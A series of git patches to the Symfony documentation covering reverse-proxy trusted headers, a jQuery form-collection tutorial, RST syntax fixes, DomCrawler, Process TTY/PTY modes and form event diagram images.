+Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``)
+may force you to use a custom header. For instance you have
+``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
 
-In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value of
-``Custom-Forwarded-Proto`` early enough in your application, i.e. before handling the request::
+In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
+of ``Custom-Forwarded-Proto`` early enough in your application, i.e. before
+handling the request::
 
     // public/index.php
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index df964b6d0ba..3a26887300e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -284,6 +284,7 @@ Configuration
   * `logging`_
   * :ref:`paths <reference-translator-paths>`
 
+* `trusted_headers`_
 * `trusted_hosts`_
 * `trusted_proxies`_
 * `validation`_
@@ -380,12 +381,32 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+.. _reference-framework-trusted-headers:
+
+trusted_headers
+~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was introduced in Symfony 5.2.
+
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
+
 .. _reference-framework-trusted-proxies:
 
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`.
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was reintroduced in Symfony 5.2 (it had been
+    removed in Symfony 3.3).
+
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
 ide
 ~~~

From 853dfb082a0dadb9ee50625eb4b2350de92f1ec2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 14:35:32 +0100
Subject: [PATCH 1662/7107] Shortening the text and adding link to jQuery

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038
---
 form/form_collections.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..9e74e0d2895 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,9 +280,8 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks the "Add a tag" button.
-This example uses jQuery and assumes you have it included somewhere on your page.
+Now we need some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks an "Add a tag" link. This example uses `jQuery`_.
 
 Add a ``script`` tag somewhere on your page so you can start writing some
 JavaScript. In this script, bind to the "click" event of the "Add a tag"
@@ -684,6 +683,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
+.. _`jQuery`: http://jquery.com/
 .. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection

From dc794b9947f9a6139aee08a564e1d14429fa9ae3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:03:42 +0100
Subject: [PATCH 1663/7107] Shortening the text some more

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038

* Reason for deleting "Add a script tag somewhere on your page...": Lenghthy text that didn't say much ;-)
* Reason for deleting the `note`: The JavaScript code is shown in itself; not inside some HTML ;-)
*
---
 form/form_collections.rst | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..89c27960adf 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -245,7 +245,7 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
     <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
-Now add a button just next to the ``<ul>`` to dynamically add a new tag
+Now add a button just next to the ``<ul>`` to dynamically add a new tag:
 
 .. code-block:: html+twig
 
@@ -284,9 +284,7 @@ The goal of this section will be to use JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks the "Add a tag" button.
 This example uses jQuery and assumes you have it included somewhere on your page.
 
-Add a ``script`` tag somewhere on your page so you can start writing some
-JavaScript. In this script, bind to the "click" event of the "Add a tag"
-button so you can add a new tag form (``addFormToCollection()`` will be show next):
+Now add the required functionality with JavaScript:
 
 .. code-block:: javascript
 
@@ -344,11 +342,6 @@ one example:
         $collectionHolder.append($newFormLi)
     }
 
-.. note::
-
-    It is better to separate your JavaScript in real JavaScript files than
-    to write it inside the HTML as is done here.
-
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
 into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` object.

From d015c96640903093ae003b4a368c950d3b919cb0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:13:50 +0100
Subject: [PATCH 1664/7107] Rewording

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038

Note: `addTagForm` was the wrong function name, it's now called `addFormToCollection()`
---
 form/form_collections.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..0812c2dac93 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -304,14 +304,10 @@ button so you can add a new tag form (``addFormToCollection()`` will be show nex
         })
     });
 
-The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
-to dynamically add a new form when this link is clicked. The ``data-prototype``
-HTML contains the tag ``text`` input element with a name of ``task[tags][__name__][name]``
-and id of ``task_tags___name___name``. The ``__name__`` is a little "placeholder",
-which you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``).
-
-The actual code needed to make this all work can vary quite a bit, but here's
-one example:
+The ``data-prototype`` HTML contains the tag's ``text`` input element with a name of
+``task[tags][__name__][name]`` and id of ``task_tags___name___name``. The ``__name__``
+part is a "placeholder", which is replaced by a unique, incrementing number
+(e.g. ``task[tags][3][name]``).
 
 .. code-block:: javascript
 

From 0bd38f6ba51e04e1a67eed30d6221206d8a37c43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:17:12 +0100
Subject: [PATCH 1665/7107] Fixing function name

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..cceffb6b6b1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -572,7 +572,7 @@ First, add a "delete this tag" link to each tag form:
         // ... the rest of the block from above
     });
 
-    function addTagForm() {
+    function addFormToCollection() {
         // ...
 
         // add a delete link to the new form

From ec51ca97c3540f7c3351451f7c63baea546404a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:26:15 +0100
Subject: [PATCH 1666/7107] Rewords and reverts

---
 form/form_collections.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 9e74e0d2895..9be2b6fa6c2 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,8 +280,10 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-Now we need some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks an "Add a tag" link. This example uses `jQuery`_.
+The goal of this section will be to use JavaScript to read this attribute
+and dynamically add new tag forms when the user clicks the "Add a tag" link.
+This example uses `jQuery`_ and assumes you have it included somewhere on your
+page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
 
 Add a ``script`` tag somewhere on your page so you can start writing some
 JavaScript. In this script, bind to the "click" event of the "Add a tag"

From 033f36473fb6b69e019c60e380a40631e86ab50f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:32:29 +0100
Subject: [PATCH 1667/7107] Minor tweak

---
 form/form_collections.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c3a78e93ac0..b60e5efc47f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -285,7 +285,8 @@ and dynamically add new tag forms when the user clicks the "Add a tag" link.
 This example uses `jQuery`_ and assumes you have it included somewhere on your
 page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
 
-Now add the required functionality with JavaScript:
+Add a ``<script>`` tag somewhere on your page to include the required
+functionality with JavaScript:
 
 .. code-block:: javascript
 

From e66095e48fa5abe980fecfdbe989990d68e76c4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:50:04 +0100
Subject: [PATCH 1668/7107] Tweak

---
 form/form_collections.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 44a1a294348..9ed02bc515c 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -304,10 +304,11 @@ functionality with JavaScript:
         })
     });
 
-The ``data-prototype`` HTML contains the tag's ``text`` input element with a name of
-``task[tags][__name__][name]`` and id of ``task_tags___name___name``. The ``__name__``
-part is a "placeholder", which is replaced by a unique, incrementing number
-(e.g. ``task[tags][3][name]``).
+The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
+attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
+HTML contains the tag's ``text`` input element with a name of ``task[tags][__name__][name]``
+and id of ``task_tags___name___name``. The ``__name__`` is a placeholder, which
+you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``):
 
 .. code-block:: javascript
 

From 46322c9ac045b6a5dc7d9d44137a935cc749e86b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 17:03:04 +0100
Subject: [PATCH 1669/7107] Minor rewording

Follow up of https://github.com/symfony/symfony-docs/pull/14760
"The goal of this section will be" is horrible IMHO ;-)
---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 9ed02bc515c..8ca19623a53 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,7 +280,7 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
+Now add some JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks the "Add a tag" link.
 This example uses `jQuery`_ and assumes you have it included somewhere on your
 page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).

From c34ef27a2be83517765769f34be4a72c8c92ffaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:12:17 +0100
Subject: [PATCH 1670/7107] Minor tweak

---
 form/form_collections.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 8ca19623a53..89f079c944d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,10 +280,10 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-Now add some JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks the "Add a tag" link.
-This example uses `jQuery`_ and assumes you have it included somewhere on your
-page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
+Now add some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
+assumes you have it included somewhere on your page (e.g. using Symfony's
+:doc:`Webpack Encore </frontend>`).
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:

From 20695d48b693257a6d5fb765210426f4d1144af2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:39:09 +0100
Subject: [PATCH 1671/7107] Fixed a RST syntax issue

---
 profiler/data_collector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 276d1e88324..6e53fd5203d 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -96,7 +96,7 @@ template that includes some specific blocks.
 
 First, add the ``getTemplate()`` method in your data collector class to return
 the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::::
+template access to the collected information::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;

From bff0f52a22e35b1893836ce0c4ab3e9f2bac3510 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:44:32 +0100
Subject: [PATCH 1672/7107] Fixed RST syntax issue

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 15725b67007..95112ca616c 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -26,7 +26,7 @@ and what headers your reverse proxy uses to send information:
 
 .. configuration-block::
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:
@@ -41,7 +41,7 @@ and what headers your reverse proxy uses to send information:
             trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
             trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
 
-    .. config-block:: xml
+    .. code-block:: xml
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
@@ -69,7 +69,7 @@ and what headers your reverse proxy uses to send information:
             </framework:config>
         </container>
 
-    .. config-block:: php
+    .. code-block:: php
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Request;

From 156ac65df5e08fa6786dd4365da2a37bbb0008ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:50:50 +0100
Subject: [PATCH 1673/7107] Fixed more RST syntax issues

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 95112ca616c..f0e9eca9db2 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -120,9 +120,9 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
    other than your load balancers. For AWS, this can be done with `security groups`_.
 
 #. Once you've guaranteed that traffic will only come from your trusted reverse
-   proxies, configure Symfony to *always* trust incoming request::
+   proxies, configure Symfony to *always* trust incoming request:
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:
@@ -148,7 +148,7 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:

From ce3bbd6a657835d8fd6e7a020bd675c78b8eb289 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Pipa?= <michal@michalpipa.pl>
Date: Fri, 1 Jan 2021 20:40:33 +0100
Subject: [PATCH 1674/7107] Fix PostgreSqlStore code sample formatting

---
 components/lock.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 97de11d0701..3f96ef89586 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -465,7 +465,8 @@ PostgreSqlStore
 
 The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
 `PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks.
+`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 

From 978492d04668f7f58ab1e34a98aa900d9bbb9ea5 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 30 Dec 2020 17:30:59 -0500
Subject: [PATCH 1675/7107] language tweak

"At last" means after a delay, lastly is just the last thing on the list.
---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 1ff482f5216..7b9053b835f 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -223,7 +223,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 Magic ``__call()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At last, ``getValue()`` can use the magic ``__call()`` method, but you need to
+Lastly, ``getValue()`` can use the magic ``__call()`` method, but you need to
 enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder`::
 
     // ...

From b28603e9d9c8fd4ca1179c5b1b450980545e7fea Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Sat, 19 Dec 2020 11:02:14 +0100
Subject: [PATCH 1676/7107] [Console] Caution about disabling auto exit flag

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index 9611ce94bfd..e980cea046a 100644
--- a/console.rst
+++ b/console.rst
@@ -393,6 +393,16 @@ console::
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
+.. caution::
+
+    When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
+    class, don't forget to disable the auto exit flag::
+
+        $application = new Application();
+        $application->setAutoExit(false);
+        
+        $tester = new ApplicationTester($application);
+
 .. note::
 
     When using the Console component in a standalone project, use

From 2931e978d17d6e5cc9738df7d06629cb3a76e82d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 3 Jan 2021 10:33:54 +0100
Subject: [PATCH 1677/7107] document the ancestors() method

---
 components/dom_crawler.rst | 8 ++++++--
 testing.rst                | 8 ++++----
 2 files changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 55b5d8bc23f..7f2b28ad582 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -187,10 +187,14 @@ Get the same level nodes after or before the current selection::
     $crawler->filter('body > p')->nextAll();
     $crawler->filter('body > p')->previousAll();
 
-Get all the child or parent nodes::
+Get all the child or ancestor nodes::
 
     $crawler->filter('body')->children();
-    $crawler->filter('body > p')->parents();
+    $crawler->filter('body > p')->ancestors();
+
+.. versionadded:: 5.3
+
+    The ``ancestors()`` method was introduced in Symfony 5.3.
 
 Get all the direct child nodes matching a CSS selector::
 
diff --git a/testing.rst b/testing.rst
index 2c0535eddfa..261786ff108 100644
--- a/testing.rst
+++ b/testing.rst
@@ -713,7 +713,7 @@ selects the last one on the page, and then selects its immediate parent element:
 
     $newCrawler = $crawler->filter('input[type=submit]')
         ->last()
-        ->parents()
+        ->ancestors()
         ->first()
     ;
 
@@ -735,8 +735,8 @@ Many other methods are also available:
     All following siblings.
 ``previousAll()``
     All preceding siblings.
-``parents()``
-    Returns the parent nodes.
+``ancestors()``
+    Returns the ancestor nodes.
 ``children()``
     Returns children nodes.
 ``reduce($lambda)``
@@ -766,7 +766,7 @@ Extracting Information
 The Crawler can extract information from the nodes::
 
     use Symfony\Component\DomCrawler\Crawler;
-    
+
     // returns the attribute value for the first node
     $crawler->attr('class');
 

From 1b5e8dc6610f5856b31ebf798801ca4cab6ca1ce Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 2 Jan 2021 19:01:18 +0100
Subject: [PATCH 1678/7107] Documented setTty and setPty

---
 components/process.rst | 30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index b7845145ca3..0a53b021c91 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -352,6 +352,35 @@ The input of a process can also be defined using `PHP streams`_::
     // will echo: 'foobar'
     echo $process->getOutput();
 
+Using TTY and PTY Modes
+-----------------------
+
+All examples above show that your program has control over the input of a
+process (using ``setInput()``) and the output from that process (using
+``getOutput()``). The Process component has two special modes that tweak
+the relationship between your program and the process: teletype (tty) and
+pseudo-teletype (pty).
+
+In TTY mode, you connect the input and output of the process to the input
+and output of your program. This allows for instance to open an editor like
+Vim or Nano as a process. You enable TTY mode by calling
+:method:`Symfony\\Component\\Process\\Process::setTty`::
+
+    $process = new Process(['vim']);
+    $process->setTty(true);
+    $process->run();
+
+    // As the output is connected to the terminal, it is no longer possible
+    // to read or modify the output from the process!
+    dump($process->getOutput()); // null
+
+In PTY mode, your program behaves as a terminal for the process instead of
+a plain input and output. Some programs behave differently when
+interacting with a real terminal instead of another program. For instance,
+some programs prompt for a password when talking with a terminal. Use
+:method:`Symfony\\Component\\Process\\Process::setPty` to enable this
+mode.
+
 Stopping a Process
 ------------------
 
@@ -483,7 +512,6 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
-
 Finding an Executable
 ---------------------
 

From 06411817eb0410139435710afc31d1ac916a70b8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 3 Jan 2021 16:14:51 +0100
Subject: [PATCH 1679/7107] Update Form event diagrams to consistent styling

---
 _images/components/form/general_flow.png     | Bin 10427 -> 0 bytes
 _images/components/form/set_data_flow.png    | Bin 8588 -> 0 bytes
 _images/components/form/submission_flow.png  | Bin 10285 -> 0 bytes
 _images/form/form_prepopulation_workflow.svg |  56 +++++++++++++
 _images/form/form_submission_workflow.svg    |  78 +++++++++++++++++++
 _images/form/form_workflow.svg               |  68 ++++++++++++++++
 _images/sources/form/form_events.dia         | Bin 0 -> 3179 bytes
 form/events.rst                              |  16 ++--
 8 files changed, 210 insertions(+), 8 deletions(-)
 delete mode 100644 _images/components/form/general_flow.png
 delete mode 100644 _images/components/form/set_data_flow.png
 delete mode 100644 _images/components/form/submission_flow.png
 create mode 100644 _images/form/form_prepopulation_workflow.svg
 create mode 100644 _images/form/form_submission_workflow.svg
 create mode 100644 _images/form/form_workflow.svg
 create mode 100644 _images/sources/form/form_events.dia

diff --git a/_images/components/form/general_flow.png b/_images/components/form/general_flow.png
deleted file mode 100644
index 31650e52af6f87244424b62856ebdcb5078c7454..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 10427
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
